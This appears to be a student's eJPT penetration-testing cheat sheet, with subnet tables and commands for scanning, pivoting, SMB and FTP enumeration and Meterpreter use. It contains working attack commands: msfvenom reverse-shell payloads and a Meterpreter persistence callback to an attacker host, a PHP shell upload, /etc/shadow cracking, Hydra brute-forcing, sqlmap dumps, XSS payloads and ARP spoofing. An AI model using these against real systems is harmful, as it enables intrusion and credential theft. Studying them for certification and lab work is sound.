eJPT- PTS-Cheatsheet & Notes

Networking

slash notation	net mask	hex	binary representation	number of hosts
/0	0.0.0.0	0×00000000	00000000 00000000 00000000 00000000	4294967296
/1	128.0.0.0	0×80000000	10000000 00000000 00000000 00000000	2147483648
/2	192.0.0.0	0xc0000000	11000000 00000000 00000000 00000000	1073741824
/3	224.0.0.0	0xe0000000	11100000 00000000 00000000 00000000	536870912
/4	240.0.0.0	0xf0000000	11110000 00000000 00000000 00000000	268435456
/5	248.0.0.0	0xf8000000	11111000 00000000 00000000 00000000	134217728
/6	252.0.0.0	0xfc000000	11111100 00000000 00000000 00000000	67108864
/7	254.0.0.0	0xfe000000	11111110 00000000 00000000 00000000	33554432
/8	255.0.0.0	0xff000000	11111111 00000000 00000000 00000000	16777216
/9	255.128.0.0	0xff800000	11111111 10000000 00000000 00000000	8388608
/10	255.192.0.0	0xffc00000	11111111 11000000 00000000 00000000	4194304
/11	255.224.0.0	0xffe00000	11111111 11100000 00000000 00000000	2097152
/12	255.240.0.0	0xfff00000	11111111 11110000 00000000 00000000	1048576
/13	255.248.0.0	0xfff80000	11111111 11111000 00000000 00000000	524288
/14	255.252.0.0	0xfffc0000	11111111 11111100 00000000 00000000	262144
/15	255.254.0.0	0xfffe0000	11111111 11111110 00000000 00000000	131072
/16	255.255.0.0	0xffff0000	11111111 11111111 00000000 00000000	65536
/17	255.255.128.0	0xffff8000	11111111 11111111 10000000 00000000	32768
/18	255.255.192.0	0xffffc000	11111111 11111111 11000000 00000000	16384

slash notation	net mask	hex	binary representation	number of hosts
/19	255.255.224.0	0xffffe000	11111111 11111111 11100000 00000000	8192
/20	255.255.240.0	0xfffff000	11111111 11111111 11110000 00000000	4096
/21	255.255.248.0	0xfffff800	11111111 11111111 11111000 00000000	2048
/22	255.255.252.0	0xfffffc00	11111111 11111111 11111100 00000000	1024
/23	255.255.254.0	0xfffffe00	11111111 11111111 11111110 00000000	512
/24	255.255.255.0	0xffffff00	11111111 11111111 11111111 00000000	256
/25	255.255.255.128	0xffffff80	11111111 11111111 11111111 10000000	128
/26	255.255.255.192	0xffffffc0	11111111 11111111 11111111 11000000	64
/27	255.255.255.224	0xffffffe0	11111111 11111111 11111111 11100000	32
/28	255.255.255.240	0xfffffff0	11111111 11111111 11111111 11110000	16
/29	255.255.255.248	0xfffffff8	11111111 11111111 11111111 11111000	8
/30	255.255.255.252	0xfffffffc	11111111 11111111 11111111 11111100	4
/31	255.255.255.254	0xfffffffe	11111111 11111111 11111111 11111110	2
/32	255.255.255.255	0xffffffff	11111111 11111111 11111111 11111111	1

Common ports

Port	Protocol	Hint
22	SSH	
25	SMTP	
110	POP3	
115	SFTP	
143	IMAP	
80	HTTP	
443	HTTPS	
23	TELNET	
21	FTP	
3389	RDP	
3306	MYSQL	
1433	MS SQL	
137	NETBIOS	find work groups
138	NETBIOS	list shares & machines
139	NETBIOS	transit data
53	DNS	

Routing/Pivoting

```
#LINUX
ip neighbour
ip route / route -n  --> prints the routing table for the host you are on
ip route add <ROUTETO_Gateway_IP> via <ROUTEFROM_Gateway_IP> dev <NIC_name>
--> add a route to a new network if on a switched network and you need to pivot

#WINDOWS
route print
netstat -ano
arp -a
```

```
ip route - prints the routing table for the host you are on
ip route add ROUTETO via ROUTEFROM - add a route to a new network if on a switched network and you need to pivot
```

Enumeration

Whois

```
whois site.com
```

Nmap

OS Detection

```
nmap -Pn -O 10.10.10.10
```

Nmap Scan (Quick)

```
nmap -sC -sV 10.10.10.10
```

Nmap Scan (Full)

```
nmap -sC -sV -p- 10.10.10.10
```

Nmap Scan (UDP Quick)

```
nmap -sU -sV 10.10.10.10
```

Nmap output file (-oN)

```
nmap -sn 10.10.10.0/24 -oN hosts.nmap
```

To filter out just IPs from the nmap scan results

```
cat hosts.nmap | grep for | cut -d " " -f 5
```

Other nmap scan useful during exam

```
nmap -sV -Pn -T4 -A -p- -iL hosts.nmap -oN ports.nmap

nmap --script vuln --script-args=unsafe=1 -iL hosts.nmap
```

fPing(Ping Sweep)

```
fping -a -g 10.10.10.0/24 2>/dev/null > targets
```

IP Route

```
ip route add <Network-range> via <router-IP> dev <interface>
eg.
ip route add 10.10.10.0/24 via 10.10.11.1 dev tap0
```

Web Applications

Banner Grabbing

```
nc -v 10.10.10.10 port
HEAD / HTTP/1.0
```

OpenSSL for HTTPS services

```
openssl s_client -connect 10.10.10.10:443
HEAD / HTTP/1.0
```

Httprint

```
httprint -P0 -h 10.10.10.10 -s /path/to/signaturefile.txt
```

HTTP Verbs

```
GET, POST, HEAD, PUT, DELETE, OPTIONS
```

- Use the OPTIONS verb to see what other verbs are available

```
nc 10.10.10.10 80
OPTIONS / HTPP/1.0
```

- You can use HTTP verbs to upload a php shell. Find the content length, then use PUT to upload the shell. Make sure you include the size of the payload when using the PUT command.

```
wc -m shell.php
x shell.php

PUT /shell.php
Content-type: text/html
Content-length: x
Directory and File Scanning
```

- Advanced Google Searches
  Not really necessary, but useful to know all the same.

```
site:
intitle:
inurl:
filetype:
AND, OR, &, |, -
```

Hashcat

- Hashcat
  - m hashtype
  - a attackmode
  - o outputfile
  - b initial benchmarking
  - d specifies device to use
  - O optimize performance
  - r specify rules against list file

```
Hashcat64.exe -m 0 -a 0 -D2 /hashes /dictonary ----d2 device interface gpu
```

John The Ripper

```
john -wordlist /path/to/wordlist -users=users.txt hashfile
John -list=formats ----------------------------johntheripper lists formats that can be attacked

unshadow /etc/passwd /etc/shadow > crackthis
john -incremental -users:root crackthis
john --show crackthis
john -wordlist /path crackthis
john -wordlist /path -rules crackthis
```

dirb

```
dirb http://<ip>/
dirb http://<ip>/dir -u admin:admin
```

Netcat

```
**Listening for reverse shell**
nc -nvlp 1234

**Banner Grabbing**
nc -nv <ip> <port>
```

SQLMap

Check if injection exists

```
sqlmap -r Post.req
sqlmap -u "http://<ip>/file.php?id=1" -p id
sqlmap -u "http://<ip>/login.php" --data="user=admin&password=admin"
```

Get database if injection Exists

```
sqlmap -r login.req --dbs
sqlmap -u "http://<ip>/file.php?id=1" -p id --dbs
sqlmap -u "http://<ip>/login.php" --data="user=admin&password=admin" --dbs
```

Get Tables in a Database

```
sqlmap -r login.req -D dbname --tables
sqlmap -u "http://<ip>/file.php?id=1" -p id -D dbname --tables
sqlmap -u "http://<ip>/login.php" --data="user=admin&password=admin" -D dbname --tables
```

Get data in a Database tables

```
sqlmap -r login.req -D dbname -T table_name --dump
sqlmap -u "http://<ip>/file.php?id=1" -p id -D dbname -T table_name --dump
sqlmap -u "http://<ip>/login.php" --data="user=admin&password=admin" -D dbname -T table_name --dump
```

Hydra

SSH Login Bruteforcing

```
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u <ip> ssh
hydra -v -V -u -l root -P passwords.txt -t 1 -u <ip> ssh
*You can use same for FTP, just replace ssh with ftp*
```

HTTP POST Form

```
hydra http://<ip>/ http-post-form "/login.php:user=^USER^&password=^PASS^:Incorrect credentials"
-L usernames.txt -P passwords.txt -f -V
```

XSS

The general steps I use to find and test XSS are as follows:

1. Find a reflection point
2. Test with `<i>` tag
3. Test with HTML/JavaScript code `(alert('XSS'))`

- Reflected XSS = Payload is carried inside the request the victim sends to the website. Typically the link contains the malicious payload
- Persistent XSS = Payload remains in the site that multiple users can fall victim to. Typically embedded via a form or forum post

```
<script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt>
```

This is a great filter bypass cheatsheet
https://owasp.org/www-community/xss-filter-evasion-cheatsheet
XSS payload cheat-sheet by portswigger.pdf

msfvenom shells

JSP Java Meterpreter Reverse TCP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.jsp
```

WAR

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f war > shell.war
```

PHP

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
```

Metasploit Meterpreter autoroute

```
run autoroute -s 10.10.10.0/24
```

Windows Shares Using Null sessions

```
nmblookup -A 10.10.10.10
smbclient -L //10.10.10.10 -N (list shares)
smbclient //10.10.10.10/share -N (mount share)
enum4linux -a 10.10.10.10
```

ARPSpoof

```
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <interface> -t <target> -r <host>
arpspoof -i tap0 -t 10.100.13.37 -r 10.100.13.36
```

SMB Enumeration

- Get shares, users, groups, password policy

```
smbclient -L //<ip>/
enum4linux -U -M -S -P -G <ip>
enum4linux -a <ip> # to do all
nmap --script=smb-enum-users, smb-os-discovery, smb-enum-shares, smb-enum-groups, smb-enum-domains
<ip> -p 135,139,445 -v
nmap -p445 --script=smb-vuln-* <ip> -v
```

- If confirmed that Null Session exists, remotely list all share of the target

```
smbclient -L WORKGROUP -I <ip> -N -U ""
```

- Connect to the remote server

```
smbclient \\\\<ip>\\<share-name>$ -N -U ""
```

- Access Share

```
smbclient //<ip>/share_name
```

In-case of error accessing the shares

- edit `/etc/samba/smb.conf`
- Now under [global] add the lines below

```
client min protocol = CORE
client max protocol = SMB3
client use spnego = no
client ntlmv2 auth = no
```

FTP Enumeration

```
nmap --script=ftp-anon <ip> -p21 -v
nmap -A -p21 <ip> -v
```

Login to FTP server

```
ftp <ip>
```

Meterpreter

```
ps
getuid
getpid
getsystem
ps -U SYSTEM
```

- CHECK UAC/Privileges

```
run post/windows/gather/win_privs
```

- BYPASS UAC

```
background or ctrl + z
exploit/windows/local/bypassuac
set session
```

- After PrivEsc

```
migrate <pid>
hashdump
```

- other important commands

```
sessions -l
sessions -i 1
sysinfo, ifconfig, route, getuid
getsystem (privesc)
bypassuac
download x /root/
upload x C:\\Windows
shell
```

- pivoting

```
ipconfig - check victims subnet
route add 192.x.x.x/24 sessions(1,2)
run persistence -X -i 10 -p 5555 kaliip
meterpreter script --- run autoroute -s 10.1.13.0/24
run autoroute -p ----print route table
```

Windows Command Line

To search for a file starting from current directory

```
dir /b/s "*.conf*"
dir /b/s "*.txt*"
dir /b/s "*filename*"
```

Check routing table

```
route print
netstat -r
```

Check Users

```
net users
```

List drives on the machine

```
wmic logicaldisk get Caption, Description, providername
```

MySQL

```
mysql -u User_name -pPassword -h 10.104.11.198
use dbname;
show tables;
select * from tables;
```

MASSCAN

```
masscan -p xxx -Pn --rate=xpacets/sec --banners IPS -e tap0 --router-ip x.x.x.x(USED BECAUSE we are connected via vpn)
--echo > file.conf -------- saves sacn command in a conf file
masscan -c file.conf to run file
```

NESSUS

```
sudo /etc/init.d/nessusd start
https://localhost:8834
```

SSH Copy

```
scp root@192.168.99.22:/etc/passwd
```